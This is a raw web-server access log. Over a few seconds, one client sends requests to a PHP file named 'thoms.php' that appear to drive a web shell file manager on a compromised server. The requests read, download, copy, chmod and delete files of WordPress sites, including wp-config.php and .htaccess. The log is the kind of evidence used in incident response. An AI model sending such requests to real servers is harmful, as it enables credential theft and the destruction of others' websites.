45.135.193.11 - - [11/Sep/2026:22:38:47 -0400] "GET /thoms.php?p=besth2o.com.tw&view=index.php HTTP/1.1" 200 12047 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:48 -0400] "GET /thoms.php?chmod=locoy.php&p=besth2o.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?chmod=locoy.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:48 -0400] "GET /thoms.php?dl=locoy.php&p=besth2o.com.tw HTTP/1.1" 200 17379 "http://163.245.207.76:443/thoms.php?dl=locoy.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:48 -0400] "GET /besth2o.com.tw/mah.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:48 -0400] "GET /besth2o.com.tw/wp-signup.php HTTP/1.1" 500 1182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:48 -0400] "GET /thoms.php?del=wp-blog-header.php&p=besth2o.com.tw HTTP/1.1" 200 17410 "http://163.245.207.76:443/thoms.php?del=wp-blog-header.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:48 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=besth2o.com.tw HTTP/1.1" 200 17409 "http://163.245.207.76:443/thoms.php?dl=wp-blog-header.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:48 -0400] "GET /thoms.php?del=wp-admin&p=besth2o.com.tw HTTP/1.1" 200 17410 "http://163.245.207.76:443/thoms.php?del=wp-admin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:48 -0400] "GET /thoms.php?p=besth2o.com.tw&view=thoms.php HTTP/1.1" 200 11810 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:48 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13019 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:48 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=besth2o.com.tw HTTP/1.1" 200 17409 "http://163.245.207.76:443/thoms.php?dl=wp-links-opml.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:48 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-signup.php&p=besth2o.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fwp-signup.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:48 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-trackback.php HTTP/1.1" 200 14102 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:48 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-trackback.php&p=besth2o.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fwp-trackback.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:48 -0400] "GET /besth2o.com.tw/wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:48 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 11820 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fcgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:48 -0400] "GET /thoms.php?del=wp-content&p=besth2o.com.tw HTTP/1.1" 200 17409 "http://163.245.207.76:443/thoms.php?del=wp-content&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:49 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-cron.php&p=besth2o.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fwp-cron.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:49 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-load.php&p=besth2o.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fwp-load.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:49 -0400] "GET /besth2o.com.tw/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:49 -0400] "GET /thoms.php?del=segment-sample&p=besth2o.com.tw HTTP/1.1" 200 17410 "http://163.245.207.76:443/thoms.php?del=segment-sample&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:49 -0400] "GET /thoms.php?dl=.htaccess&p=besth2o.com.tw HTTP/1.1" 200 17405 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:49 -0400] "GET /thoms.php?del=index.php&p=besth2o.com.tw HTTP/1.1" 200 17404 "http://163.245.207.76:443/thoms.php?del=index.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:49 -0400] "GET /thoms.php?del=mah.php&p=besth2o.com.tw HTTP/1.1" 200 17416 "http://163.245.207.76:443/thoms.php?del=mah.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:49 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Freadme.html&p=besth2o.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Freadme.html&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:49 -0400] "GET /besth2o.com.tw/wp-config.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:49 -0400] "GET /thoms.php?del=wp-cron.php&p=besth2o.com.tw HTTP/1.1" 200 17414 "http://163.245.207.76:443/thoms.php?del=wp-cron.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:49 -0400] "GET /besth2o.com.tw/wp-admin/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:50 -0400] "GET /thoms.php?del=readme.html&p=besth2o.com.tw HTTP/1.1" 200 17418 "http://163.245.207.76:443/thoms.php?del=readme.html&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:50 -0400] "GET /thoms.php?del=wp-trackback.php&p=besth2o.com.tw HTTP/1.1" 200 17415 "http://163.245.207.76:443/thoms.php?del=wp-trackback.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:50 -0400] "GET /besth2o.com.tw HTTP/1.1" 301 795 "http://163.245.207.76:443/besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:50 -0400] "GET /besth2o.com.tw/thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:50 -0400] "GET /besth2o.com.tw/thoms.php?p= HTTP/1.1" 200 17929 "https://163.245.207.76/besth2o.com.tw/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:50 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fupgrade&p= HTTP/1.1" 200 11821 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:50 -0400] "GET /besth2o.com.tw/ HTTP/1.1" 301 0 "https://163.245.207.76:443/besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:50 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 200 13277 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:50 -0400] "GET /besth2o.com.tw/ HTTP/1.1" 404 6834 "https://163.245.207.76:443/besth2o.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:50 -0400] "GET /thoms.php?chmod=wp-activate.php&p=besth2o.com.tw HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?chmod=wp-activate.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:50 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-config.php&p=besth2o.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fwp-config.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:50 -0400] "GET /thoms.php?p=besth2o.com.tw&settings=1 HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:50 -0400] "GET /besth2o.com.tw/wp-content/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:50 -0400] "GET /thoms.php?del=.well-known&p=besth2o.com.tw HTTP/1.1" 200 17417 "http://163.245.207.76:443/thoms.php?del=.well-known&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:50 -0400] "GET /thoms.php?chmod=license.txt&p=besth2o.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:50 -0400] "GET /besth2o.com.tw/wp-load.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:50 -0400] "GET /besth2o.com.tw/wp-settings.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:50 -0400] "GET /thoms.php?del=wp-links-opml.php&p=besth2o.com.tw HTTP/1.1" 200 17417 "http://163.245.207.76:443/thoms.php?del=wp-links-opml.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:51 -0400] "GET /besth2o.com.tw/wp-config-sample.php HTTP/1.1" 500 1095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:51 -0400] "GET /besth2o.com.tw/upgrade/ HTTP/1.1" 200 6702 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:51 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-activate.php&p=besth2o.com.tw HTTP/1.1" 200 11442 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fwp-activate.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:51 -0400] "GET /thoms.php?del=wp-config.php&p=besth2o.com.tw HTTP/1.1" 200 17382 "http://163.245.207.76:443/thoms.php?del=wp-config.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:51 -0400] "GET /thoms.php?del=wp-login.php&p=besth2o.com.tw HTTP/1.1" 200 17380 "http://163.245.207.76:443/thoms.php?del=wp-login.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:51 -0400] "GET /thoms.php?chmod=wp-includes&p=besth2o.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=wp-includes&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:51 -0400] "GET /thoms.php?del=error_log&p=besth2o.com.tw HTTP/1.1" 200 17381 "http://163.245.207.76:443/thoms.php?del=error_log&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:51 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fmah.php&p=besth2o.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fmah.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:51 -0400] "GET /thoms.php?chmod=.well-known&p=besth2o.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=.well-known&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:51 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 200 59236 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:51 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Ferror_log&p=besth2o.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Ferror_log&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:51 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Flocoy.php&p=besth2o.com.tw HTTP/1.1" 200 11429 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Flocoy.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:51 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=besth2o.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?chmod=wp-blog-header.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:52 -0400] "GET /thoms.php?copy=besth2o.com.tw%2F.well-known&p= HTTP/1.1" 200 11806 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2F.well-known&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:52 -0400] "GET /thoms.php?dl=wp-load.php&p=besth2o.com.tw HTTP/1.1" 200 17379 "http://163.245.207.76:443/thoms.php?dl=wp-load.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:52 -0400] "GET /thoms.php?copy=besth2o.com.tw%2F.htaccess&p=besth2o.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2F.htaccess&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:52 -0400] "GET /thoms.php?p=besth2o.com.tw&view=locoy.php HTTP/1.1" 200 12954 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:52 -0400] "GET /thoms.php?del=wp-activate.php&p=besth2o.com.tw HTTP/1.1" 200 17383 "http://163.245.207.76:443/thoms.php?del=wp-activate.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:52 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-settings.php HTTP/1.1" 200 19467 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:52 -0400] "GET /thoms.php?p=besth2o.com.tw&upload= HTTP/1.1" 200 12152 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:52 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fupgrade&p= HTTP/1.1" 200 11783 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:52 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-content&p= HTTP/1.1" 200 11813 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:52 -0400] "GET /thoms.php?dl=wp-activate.php&p=bioway88.com.tw HTTP/1.1" 200 17412 "http://163.245.207.76:443/thoms.php?dl=wp-activate.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:52 -0400] "GET /thoms.php?dl=wp-mail.php&p=bioway88.com.tw HTTP/1.1" 200 17412 "http://163.245.207.76:443/thoms.php?dl=wp-mail.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:52 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-includes&p= HTTP/1.1" 200 11806 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:52 -0400] "GET /bioway88.com.tw/wp-config-sample.php HTTP/1.1" 500 1095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:52 -0400] "GET /thoms.php?del=wp-mail.php&p=bioway88.com.tw HTTP/1.1" 200 17412 "http://163.245.207.76:443/thoms.php?del=wp-mail.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:53 -0400] "GET /thoms.php?chmod=member-suspended&p=bioway88.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?chmod=member-suspended&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:53 -0400] "GET /thoms.php?dl=wp-cron.php&p=bioway88.com.tw HTTP/1.1" 200 17411 "http://163.245.207.76:443/thoms.php?dl=wp-cron.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:53 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=bioway88.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?chmod=wp-links-opml.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:53 -0400] "GET /thoms.php?dl=wp-settings.php&p=bioway88.com.tw HTTP/1.1" 200 17411 "http://163.245.207.76:443/thoms.php?dl=wp-settings.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:53 -0400] "GET /thoms.php?del=locoy.php&p=bioway88.com.tw HTTP/1.1" 200 17412 "http://163.245.207.76:443/thoms.php?del=locoy.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:53 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Flocoy.php&p=bioway88.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Flocoy.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:53 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Freadme.html&p=bioway88.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Freadme.html&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
